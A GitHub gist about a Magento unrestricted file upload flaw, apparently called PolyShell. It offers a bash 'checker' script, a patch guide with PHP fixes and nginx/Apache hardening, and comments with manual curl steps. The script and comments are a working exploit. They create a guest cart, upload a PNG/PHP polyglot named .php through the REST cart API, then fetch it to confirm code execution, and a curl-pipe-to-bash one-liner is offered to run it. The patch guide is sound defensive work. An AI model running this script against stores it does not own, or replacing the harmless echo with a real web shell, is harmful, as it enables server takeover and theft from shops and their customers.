Skip to content

Instantly share code, notes, and snippets.

@0m3r
Last active March 18, 2026 15:37
Show Gist options
  • Select an option

  • Save 0m3r/4eb8b15ced21033f19790d133a0c53e5 to your computer and use it in GitHub Desktop.

Select an option

Save 0m3r/4eb8b15ced21033f19790d133a0c53e5 to your computer and use it in GitHub Desktop.
agento PolyShell Patch Guide (CVE / APSB25-94)
#!/usr/bin/env bash
# =============================================================================
# Magento PolyShell Vulnerability Checker (CVE-2025-XXXXX)
# Usage: ./magento_polyshell_check.sh YOUR-STORE.com [SKU]
# curl -s https://gist.githubusercontent.com/0m3r/4eb8b15ced21033f19790d133a0c53e5/raw/15d3718cfff2990266a6399554d8f04c4318f4d2/checker.sh | bash -s -- YOUR-STORE.com [SKU]
# =============================================================================
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'
if [[ $# -lt 1 ]]; then
echo "Usage: $0 YOUR-STORE.com [SKU]"
echo " SKU is optional — script will try to discover it automatically"
exit 1
fi
if ! command -v python3 &>/dev/null; then
echo -e "${RED}[ERROR] python3 is required but not found.${NC}"
exit 1
fi
HOST="${1}"
MANUAL_SKU="${2:-}"
# =============================================================================
# STEP 0: Detect protocol + web server
# =============================================================================
echo ""
echo -e "${BLUE}${BOLD}=============================================${NC}"
echo -e "${BLUE}${BOLD} Magento PolyShell Checker — ${HOST}${NC}"
echo -e "${BLUE}${BOLD}=============================================${NC}"
echo ""
echo -e "${YELLOW}[0/5] Detecting protocol and web server...${NC}"
if curl -sfL --max-time 5 -X POST \
"https://${HOST}/rest/V1/guest-carts" \
-H 'Content-Type: application/json' -o /dev/null 2>/dev/null; then
BASE_URL="https://${HOST}"
else
BASE_URL="http://${HOST}"
fi
echo -e " Protocol : ${BASE_URL}"
SERVER_HEADER=$(curl -skI --max-time 5 "${BASE_URL}/" \
| grep -i "^server:" | head -1 | awk '{print $2}' | tr -d '\r' || true)
WEB_SERVER="unknown"
if echo "$SERVER_HEADER" | grep -qi "nginx"; then
WEB_SERVER="nginx"
elif echo "$SERVER_HEADER" | grep -qi "apache\|httpd"; then
WEB_SERVER="apache"
elif echo "$SERVER_HEADER" | grep -qi "litespeed"; then
WEB_SERVER="litespeed"
fi
echo -e " Server : ${SERVER_HEADER:-unknown}"
echo -e " Detected : ${CYAN}${WEB_SERVER}${NC}"
# =============================================================================
# STEP 1: Create guest cart
# =============================================================================
echo ""
echo -e "${YELLOW}[1/5] Creating guest cart...${NC}"
CART_ID=$(curl -sfL -X POST \
"${BASE_URL}/rest/V1/guest-carts" \
-H 'Content-Type: application/json' | tr -d '"')
if [[ -z "$CART_ID" ]]; then
echo -e "${RED}[ERROR] Could not create guest cart. Is the URL correct?${NC}"
exit 1
fi
echo -e " Cart ID : ${CART_ID}"
# =============================================================================
# STEP 2: Get a SKU
# =============================================================================
echo ""
echo -e "${YELLOW}[2/5] Fetching product SKU...${NC}"
if [[ -n "$MANUAL_SKU" ]]; then
SKU="$MANUAL_SKU"
echo -e " SKU (manual): ${SKU}"
else
SKU=""
SKU=$(curl -sfL \
"${BASE_URL}/rest/default/V1/products?searchCriteria[pageSize]=1&searchCriteria[filter_groups][0][filters][0][field]=status&searchCriteria[filter_groups][0][filters][0][value]=1&searchCriteria[filter_groups][0][filters][0][condition_type]=eq" \
-H 'Content-Type: application/json' \
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['items'][0]['sku'])" 2>/dev/null || true)
if [[ -z "$SKU" ]]; then
SKU=$(curl -sfL \
"${BASE_URL}/rest/V1/products?searchCriteria[pageSize]=1" \
-H 'Content-Type: application/json' \
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['items'][0]['sku'])" 2>/dev/null || true)
fi
if [[ -z "$SKU" ]]; then
SKU=$(curl -sfL -X POST \
"${BASE_URL}/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{ products(search: \"\", pageSize: 1) { items { sku } } }"}' \
| python3 -c "import sys,json; p=json.load(sys.stdin); print(p['data']['products']['items'][0]['sku'])" 2>/dev/null || true)
fi
if [[ -z "$SKU" ]]; then
echo -e "${RED}[ERROR] Could not auto-discover SKU.${NC}"
echo -e "${YELLOW} Pass SKU manually: $0 ${HOST} YOUR-SKU${NC}"
exit 1
fi
echo -e " SKU (auto): ${SKU}"
fi
# =============================================================================
# STEP 3: Build polyglot payload + upload
# =============================================================================
echo ""
echo -e "${YELLOW}[3/5] Uploading polyglot payload...${NC}"
PAYLOAD=$(python3 -c "
import base64
png = base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==')
php = b\"<?php echo 'Vulnerable'; ?>\"
print(base64.b64encode(png + php).decode())
")
# FIX Bug 2: compute PREFIX/PREFIX2 right after FILENAME is set
FILENAME="polyshell_check_$$.php"
PREFIX="${FILENAME:0:1}"
PREFIX2="${FILENAME:1:1}"
echo -e " Filename : ${FILENAME}"
echo -e " Size : $(echo -n "$PAYLOAD" | wc -c) bytes (base64)"
FILE_URL="${BASE_URL}/pub/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}"
ALT_FILE_URL="${BASE_URL}/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}"
UPLOAD_RESPONSE=$(curl -sL -X POST \
"${BASE_URL}/rest/V1/guest-carts/${CART_ID}/items" \
-H 'Content-Type: application/json' \
-d "{
\"cartItem\": {
\"sku\": \"${SKU}\",
\"qty\": 1,
\"quote_id\": \"${CART_ID}\",
\"product_option\": {
\"extension_attributes\": {
\"custom_options\": [{
\"option_id\": \"99999\",
\"option_value\": \"file\",
\"extension_attributes\": {
\"file_info\": {
\"base64_encoded_data\": \"${PAYLOAD}\",
\"type\": \"image/png\",
\"name\": \"${FILENAME}\"
}
}
}]
}
}
}
}" 2>/dev/null || true)
echo -e " Response : ${UPLOAD_RESPONSE:0:120}..."
# --- Analyse upload response ---
# FIX Bug 1: detect HTML/Ignition error page FIRST, then verify file on disk
UPLOAD_STATUS="unknown"
if echo "$UPLOAD_RESPONSE" | grep -qi "<!doctype\|<html\|ErrorException\|Ignition\|ignite("; then
# Server returned HTML — file may still have been written to disk before the error
DISK_CHECK=$(curl -sk -o /tmp/poly_disk_chk.txt -w "%{http_code}" \
"${ALT_FILE_URL}" 2>/dev/null || echo "000")
DISK_BODY=$(cat /tmp/poly_disk_chk.txt 2>/dev/null || true)
rm -f /tmp/poly_disk_chk.txt
if [[ "$DISK_CHECK" == "200" ]] || \
echo "$DISK_BODY" | xxd 2>/dev/null | grep -q "8950 4e47"; then
UPLOAD_STATUS="saved_cart_error"
else
PUB_CHECK=$(curl -sk -o /dev/null -w "%{http_code}" "${FILE_URL}" 2>/dev/null || echo "000")
if [[ "$PUB_CHECK" == "200" ]]; then
UPLOAD_STATUS="saved_cart_error"
else
UPLOAD_STATUS="error_html"
fi
fi
elif echo "$UPLOAD_RESPONSE" | grep -q "quote_path\|fullpath\|order_path"; then
UPLOAD_STATUS="saved"
elif echo "$UPLOAD_RESPONSE" | grep -qi \
"You need to choose options\|choose options"; then
UPLOAD_STATUS="saved_cart_error"
elif echo "$UPLOAD_RESPONSE" | grep -qi \
"base64\|invalid\|not valid\|image content"; then
UPLOAD_STATUS="rejected_base64"
elif echo "$UPLOAD_RESPONSE" | grep -qi \
"forbidden characters\|invalid.*name"; then
UPLOAD_STATUS="rejected_filename"
elif echo "$UPLOAD_RESPONSE" | grep -qi \
"mime\|not supported\|image.*type"; then
UPLOAD_STATUS="rejected_mime"
elif [[ -z "$UPLOAD_RESPONSE" ]]; then
UPLOAD_STATUS="empty"
fi
echo -e " Upload : ${CYAN}${UPLOAD_STATUS}${NC}"
# =============================================================================
# STEP 4: Web server behaviour checks
# =============================================================================
echo ""
echo -e "${YELLOW}[4/5] Running web server checks (${WEB_SERVER})...${NC}"
# Check 1: Direct access via /pub/media/
HTTP_DIRECT=$(curl -sL -o /tmp/poly_resp.txt -w "%{http_code}" \
"${FILE_URL}" 2>/dev/null || echo "000")
BODY_DIRECT=$(cat /tmp/poly_resp.txt 2>/dev/null || true)
rm -f /tmp/poly_resp.txt
# Check 2: Path info trick (nginx <2.3 / non-stock)
HTTP_PATHINFO=$(curl -sk -o /dev/null -w "%{http_code}" \
"${FILE_URL}/index.php" 2>/dev/null || echo "000")
# Check 3: index.php prefix
HTTP_IDXPREFIX=$(curl -sk -o /dev/null -w "%{http_code}" \
"${BASE_URL}/index.php/pub/media/custom_options/quote/${PREFIX}/${PREFIX2}/${FILENAME}" \
2>/dev/null || echo "000")
# FIX Bug 4: Alt /media/ path — also read body for PNG magic bytes detection
HTTP_ALT=$(curl -sk -o /tmp/poly_alt.txt -w "%{http_code}" \
"${ALT_FILE_URL}" 2>/dev/null || echo "000")
BODY_ALT=$(cat /tmp/poly_alt.txt 2>/dev/null || true)
rm -f /tmp/poly_alt.txt
ALT_FILE_ACCESSIBLE=false
if [[ "$HTTP_ALT" == "200" ]] || \
echo "$BODY_ALT" | xxd 2>/dev/null | grep -q "8950 4e47"; then
ALT_FILE_ACCESSIBLE=true
fi
PHP_EXECUTED=false
if echo "$BODY_DIRECT" | grep -q "Vulnerable"; then
PHP_EXECUTED=true
fi
# Also check PHP execution via alt path
if echo "$BODY_ALT" | grep -q "Vulnerable"; then
PHP_EXECUTED=true
fi
ALT_LABEL=""
if ${ALT_FILE_ACCESSIBLE}; then
ALT_LABEL=" [FILE ACCESSIBLE]"
fi
echo -e " Direct access : HTTP ${HTTP_DIRECT}"
echo -e " Path-info trick : HTTP ${HTTP_PATHINFO} (file.php/index.php)"
echo -e " index.php prefix : HTTP ${HTTP_IDXPREFIX} (/index.php/pub/media/...)"
echo -e " Alt /media/ path : HTTP ${HTTP_ALT}${ALT_LABEL}"
echo -e " PHP executed : $(${PHP_EXECUTED} && echo -e "${RED}YES${NC}" || echo -e "${GREEN}NO${NC}")"
# =============================================================================
# STEP 5: Determine vulnerability level
# =============================================================================
echo ""
echo -e "${YELLOW}[5/5] Analysing results...${NC}"
echo ""
echo -e "${BLUE}${BOLD}=============================================${NC}"
echo -e "${BLUE}${BOLD} RESULT ${NC}"
echo -e "${BLUE}${BOLD}=============================================${NC}"
echo ""
# --- CRITICAL: PHP executed ---
if ${PHP_EXECUTED}; then
echo -e "${RED}${BOLD}╔══════════════════════════════════════════╗${NC}"
echo -e "${RED}${BOLD}║ CRITICAL — RCE CONFIRMED ║${NC}"
echo -e "${RED}${BOLD}║ PHP code executed on the server! ║${NC}"
echo -e "${RED}${BOLD}╚══════════════════════════════════════════╝${NC}"
echo ""
echo -e " ${RED}▶ URL : ${FILE_URL}${NC}"
echo -e " ${RED}▶ Server : ${WEB_SERVER}${NC}"
echo -e " ${RED}▶ Upload : ${UPLOAD_STATUS}${NC}"
echo ""
echo -e " ${RED}Patch immediately!${NC}"
echo -e " ${RED}See: https://sansec.io/research/magento-polyshell${NC}"
# FIX Bug 5: HIGH also triggers when alt path is accessible
elif ( [[ "$HTTP_DIRECT" == "200" ]] || ${ALT_FILE_ACCESSIBLE} ) && ! ${PHP_EXECUTED}; then
echo -e "${RED}╔══════════════════════════════════════════╗${NC}"
echo -e "${RED}║ HIGH — File uploaded and accessible ║${NC}"
echo -e "${RED}║ PHP NOT executed but file is readable ║${NC}"
echo -e "${RED}║ XSS / source disclosure risk! ║${NC}"
echo -e "${RED}╚══════════════════════════════════════════╝${NC}"
echo ""
if [[ "$HTTP_DIRECT" == "200" ]]; then
echo -e " ${YELLOW}▶ URL (pub) : ${FILE_URL}${NC}"
fi
if ${ALT_FILE_ACCESSIBLE}; then
echo -e " ${YELLOW}▶ URL (alt) : ${ALT_FILE_URL}${NC}"
fi
echo -e " ${YELLOW}▶ Server : ${WEB_SERVER}${NC}"
echo ""
echo -e " ${YELLOW}Apply web server hardening + PHP-level patch!${NC}"
# FIX Bug 3: MEDIUM also covers error_html (file written before server error)
elif [[ "$UPLOAD_STATUS" == "saved" || \
"$UPLOAD_STATUS" == "saved_cart_error" || \
"$UPLOAD_STATUS" == "error_html" ]]; then
echo -e "${YELLOW}╔══════════════════════════════════════════╗${NC}"
echo -e "${YELLOW}║ MEDIUM — File written to disk ║${NC}"
echo -e "${YELLOW}║ Web server blocks HTTP access ✅ ║${NC}"
echo -e "${YELLOW}║ No RCE via HTTP — but file IS on disk ║${NC}"
echo -e "${YELLOW}╚══════════════════════════════════════════╝${NC}"
echo ""
# FIX Bug 3: note for both saved_cart_error and error_html
if [[ "$UPLOAD_STATUS" == "saved_cart_error" || "$UPLOAD_STATUS" == "error_html" ]]; then
echo -e " ${CYAN}▶ Note: Server returned error/HTML page AFTER file was written to disk${NC}"
echo -e " ${CYAN} (classic PolyShell race — file written before quote/cart save)${NC}"
fi
echo ""
echo -e " ${YELLOW}Web server vectors blocked:${NC}"
if [[ "$WEB_SERVER" == "nginx" ]]; then
echo -e " $([ "$HTTP_DIRECT" == "404" ] || [ "$HTTP_DIRECT" == "403" ] \
&& echo "${GREEN} ✅ Direct access : blocked${NC}" \
|| echo "${RED} ❌ Direct access : NOT blocked (HTTP ${HTTP_DIRECT})${NC}")"
echo -e " $([ "$HTTP_PATHINFO" == "404" ] || [ "$HTTP_PATHINFO" == "403" ] \
&& echo "${GREEN} ✅ Path-info trick : blocked${NC}" \
|| echo "${RED} ❌ Path-info trick : NOT blocked (HTTP ${HTTP_PATHINFO})${NC}")"
echo -e " $([ "$HTTP_IDXPREFIX" == "404" ] || [ "$HTTP_IDXPREFIX" == "403" ] \
&& echo "${GREEN} ✅ index.php prefix : blocked${NC}" \
|| echo "${RED} ❌ index.php prefix : NOT blocked (HTTP ${HTTP_IDXPREFIX})${NC}")"
# FIX Bug 4: use ALT_FILE_ACCESSIBLE for alt path check
echo -e " $(! ${ALT_FILE_ACCESSIBLE} \
&& echo "${GREEN} ✅ Alt /media/ path : blocked${NC}" \
|| echo "${RED} ❌ Alt /media/ path : NOT blocked (HTTP ${HTTP_ALT})${NC}")"
elif [[ "$WEB_SERVER" == "apache" ]]; then
echo -e " ${CYAN} ▶ Apache: ensure php_flag engine 0 is set for pub/media${NC}"
fi
echo ""
echo -e " ${YELLOW}▶ Apply PHP-level patch to prevent file upload entirely!${NC}"
echo -e " ${YELLOW} See: https://sansec.io/research/magento-polyshell${NC}"
# --- PROTECTED: upload rejected at PHP level ---
elif [[ "$UPLOAD_STATUS" == "rejected_base64" || \
"$UPLOAD_STATUS" == "rejected_filename" || \
"$UPLOAD_STATUS" == "rejected_mime" ]]; then
echo -e "${GREEN}╔══════════════════════════════════════════╗${NC}"
echo -e "${GREEN}║ PROTECTED — Upload rejected at PHP ✅ ║${NC}"
echo -e "${GREEN}║ Store appears patched ║${NC}"
echo -e "${GREEN}╚══════════════════════════════════════════╝${NC}"
echo ""
echo -e " ${GREEN}▶ Rejection reason: ${UPLOAD_STATUS}${NC}"
# --- UNKNOWN ---
else
echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}"
echo -e "${CYAN}║ UNKNOWN — Could not determine status ║${NC}"
echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}"
echo ""
echo -e " ${CYAN}▶ HTTP direct : ${HTTP_DIRECT}${NC}"
echo -e " ${CYAN}▶ Upload : ${UPLOAD_STATUS}${NC}"
echo -e " ${CYAN}▶ Check manually: ${FILE_URL}${NC}"
fi
echo ""
echo -e "${BLUE}=============================================${NC}"
echo -e "${CYAN}Scan server for existing shells:${NC}"
echo -e "${YELLOW} find pub/media/custom_options/ -type f \\( -name '*.php' -o -name '*.phtml' -o -name '*.phar' \\)${NC}"
echo -e "${BLUE}=============================================${NC}"
echo ""

Magento PolyShell — Patch Guide (APSB25-94)

Vulnerability: Unrestricted file upload via REST API Date: 2026-03-17 | Status: 0-day, no official production patch yet Affected: All Magento Open Source / Adobe Commerce up to 2.4.9-alpha2


⚡ Quick Start

# Backup first
cp app/code/Magento/Catalog/Model/CustomOptions/CustomOptionProcessor.php{,.bak}
cp app/code/Magento/Catalog/Model/Webapi/Product/Option/Type/File/Processor.php{,.bak}
cp lib/internal/Magento/Framework/Api/ImageContentValidator.php{,.bak}

# After patching — flush cache
php bin/magento cache:flush

# Check for already-uploaded shells
find pub/media/custom_options/ -type f | grep -E "\.(php|phtml|phar|php[3-7])$"

🩹 Patch 1 — CustomOptionProcessor.php ⭐ MOST IMPORTANT

File: app/code/Magento/Catalog/Model/CustomOptions/CustomOptionProcessor.php Fixes: File upload with non-existent or wrong-type option_id

Find method getCustomOptionValue (~line 266), replace with:

private function getCustomOptionValue(
    CustomOptionInterface $customOption,
    ?ProductCustomOptionInterface $productCustomOption = null
): mixed {
    if ($customOption->getExtensionAttributes()?->getFileInfo()) {
        // SECURITY FIX (PolyShell): block upload if option doesn't exist or is not type=file
        if ($productCustomOption === null ||
            $productCustomOption->getType() !== ProductCustomOptionInterface::OPTION_TYPE_FILE
        ) {
            throw new \Magento\Framework\Exception\LocalizedException(
                __('File upload is not allowed for this option.')
            );
        }

        return $this->imageContentProcessor->process(
            $customOption->getExtensionAttributes()->getFileInfo(),
            $productCustomOption
        );
    }
    return $customOption->getOptionValue();
}

🩹 Patch 2 — ImageContentValidator.php

File: lib/internal/Magento/Framework/Api/ImageContentValidator.php Fixes: Polyglot bypass (valid PNG header + PHP code inside)

Add property + update isNameValid method:

// Add this property to the class:
private array $blockedExtensions = [
    'php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar',
    'shtml', 'cgi', 'pl', 'py', 'rb', 'sh', 'bash',
    'exe', 'bat', 'cmd', 'com', 'htaccess', 'htpasswd',
];

// Replace isNameValid():
protected function isNameValid($name)
{
    if ($name === null || !preg_match('/^[^\/?*:";<>()|{}\\\\]+$/', $name)) {
        return false;
    }
    // SECURITY FIX (PolyShell): block executable extensions
    $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
    if (in_array($ext, $this->blockedExtensions, true)) {
        return false;
    }
    return true;
}

🩹 Patch 3 — Webapi/Processor.php (defense-in-depth)

File: app/code/Magento/Catalog/Model/Webapi/Product/Option/Type/File/Processor.php Fixes: Extra layer for legacy Webapi processor

// Add property:
private array $blockedExtensions = [
    'php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'phar',
    'shtml', 'cgi', 'pl', 'py', 'rb', 'sh', 'bash',
    'exe', 'bat', 'cmd', 'htaccess',
];

// Replace saveFile():
protected function saveFile(ImageContentInterface $imageContent)
{
    // SECURITY FIX (PolyShell): block executable extensions before saving
    $ext = strtolower(pathinfo($imageContent->getName(), PATHINFO_EXTENSION));
    if (in_array($ext, $this->blockedExtensions, true)) {
        throw new \Magento\Framework\Exception\LocalizedException(
            __("File '%1' has a disallowed extension.", $imageContent->getName())
        );
    }
    $filePath = $this->imageProcessor->processImageContent($this->destinationFolder, $imageContent);
    return $this->destinationFolder . $filePath;
}

🔒 Web Server Hardening

Nginx — add BEFORE any \.php$ block:

location ~* ^/pub/media/custom_options/ {
    deny all;
}

Apache — create pub/media/custom_options/.htaccess:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .* - [F,L]
</IfModule>
Deny from all

✅ Verify Patch Applied

grep -n "blockedExtensions" lib/internal/Magento/Framework/Api/ImageContentValidator.php
grep -n "File upload is not allowed" app/code/Magento/Catalog/Model/CustomOptions/CustomOptionProcessor.php

📚 References

⚠️ Temporary fix until Adobe releases an official patch. Monitor Adobe release notes.

@0m3r
Copy link
Copy Markdown
Author

0m3r commented Mar 17, 2026

Verification II

After applying patches, test that file upload is blocked:

curl -s -X POST \
  'https://YOUR-STORE.com/rest/V1/guest-carts/TEST_CART_ID/items' \
  -H 'Content-Type: application/json' \
  -d '{
    "cartItem": {
      "sku": "YOUR-SKU",
      "qty": 1,
      "quote_id": "TEST_CART_ID",
      "product_option": {
        "extension_attributes": {
          "custom_options": [{
            "option_id": "99999",
            "option_value": "file",
            "extension_attributes": {
              "file_info": {
                "base64_encoded_data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJgg==",
                "type": "image/png",
                "name": "test.php"
              }
            }
          }]
        }
      }
    }
  }

Expected result after patching: HTTP 400 with error message about disallowed extension or invalid option.

@0m3r
Copy link
Copy Markdown
Author

0m3r commented Mar 17, 2026

CART_ID=$(curl -s -X POST \
  'https://YOUR-STORE.com/rest/V1/guest-carts' \
  -H 'Content-Type: application/json' | tr -d '"')

echo "Cart ID: $CART_ID"
SKU=$(curl -s 'https://YOUR-STORE.com/rest/V1/products?searchCriteria[pageSize]=1' \
  -H 'Content-Type: application/json' | python3 -m json.tool | grep '"sku"' | head -1 | cut -d'"' -f4)

echo "SKU: $SKU"
  PAYLOAD="iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJgg==<?php echo 'Vulnerable'; ?>"
curl -s "https://YOUR-STORE.com/pub/media/custom_options/quote/t/e/test.php"

Якщо відповідь: "Vulnerable" — магазин уразливий

Якщо 403/404 — захист працює

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment